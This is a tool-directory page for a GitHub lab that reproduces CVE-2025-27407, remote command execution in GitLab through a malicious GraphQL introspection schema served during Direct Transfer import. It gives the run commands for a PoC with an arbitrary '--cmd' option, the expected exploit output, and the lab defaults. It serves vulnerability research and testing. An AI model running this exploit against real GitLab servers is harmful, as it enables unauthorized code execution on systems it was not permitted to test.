Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-27407 | Kitploit
Tools/GitHubGitHub/logggg2402/cve-2025-27407
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublogggg2402/cve-2025-27407

CVE-2025-27407

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-27407 GitLab Podman Lab

Minimal local-only lab for proving the GitLab Direct Transfer HTTP path reaches the vulnerable graphql-ruby introspection schema loader. The lab runs one vulnerable GitLab CE container; the PoC script starts its fake GitLab source server in-process only while testing.

Only run this against systems you own or are explicitly authorized to test.

Files

FilePurpose
lab.shStarts, waits, verifies, and cleans up the GitLab lab.
poc_host_port_cmd.pyOne-shot PoC: fake source server + GitLab login/configure/import trigger.

Requirements

  • Linux host with podman
  • curl
  • Free local ports for GitLab and the PoC fake source server
  • Enough RAM/disk for the GitLab Omnibus container

Default values:

Start the Lab

Port 8080 is the script default. If something else already uses it, use 18080 as shown here.

root@kitploit:~
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

Open GitLab at:

root@kitploit:~
http://127.0.0.1:18080

Login credentials:

root@kitploit:~
root / Cve27407Password!

root is only the default lab user. The PoC trigger does not require an admin account; any authenticated user that can create/import into a destination namespace can hit the vulnerable Direct Transfer path. Use --username and --password to test with a non-admin user.

Run the PoC

root@kitploit:~
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

Expected signals:

root@kitploit:~
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

Options

Environment Overrides

Troubleshooting

  • If 8080 is busy, use GITLAB_HTTP_PORT=18080 for ./lab.sh up.
  • If the PoC cannot bind its source port, change --listen-port to an unused port.
  • If marker verification races the background import worker, raise --wait-seconds or rerun MARKER="$MARKER" ./lab.sh verify.
  • If GitLab is not ready yet, rerun GITLAB_HTTP_PORT=18080 ./lab.sh wait.
  • If a previous lab is stuck, run ./lab.sh cleanup and start again.

Cleanup

root@kitploit:~
./lab.sh cleanup

This removes the GitLab container, any legacy fake-source container from older lab versions, and the lab network. It does not remove downloaded Podman images.

Download Tool
ItemDefault
GitLab imagedocker.io/gitlab/gitlab-ce:16.11.8-ce.0
GitLab containercve-27407-gitlab
Podman networkcve-2025-27407-net
GitLab root userroot
GitLab root passwordCve27407Password!
Marker/tmp/cve_2025_27407_gitlab_marker
OptionPurposeDefault
--hostGitLab host to targetRequired
--portGitLab HTTP port to targetRequired
--cmdCommand executed in the GitLab runtimetouch /tmp/cve_2025_27407_gitlab_marker
--listen-portLocal fake source server port8001
--wait-secondsTime to keep fake source alive for async GitLab workers90
--usernameGitLab usernameroot
--passwordGitLab passwordCve27407Password!
VariablePurposeDefault
GITLAB_HTTP_PORTHost/container GitLab HTTP port8080
GITLAB_SSH_PORTHost GitLab SSH port2224
GITLAB_ROOT_PASSWORDInitial root passwordCve27407Password!
GITLAB_IMAGEGitLab image to rundocker.io/gitlab/gitlab-ce:16.11.8-ce.0
NETWORKPodman network namecve-2025-27407-net
MARKERFile checked inside GitLab container/tmp/cve_2025_27407_gitlab_marker
TIMEOUT_SECONDSReadiness wait timeout1200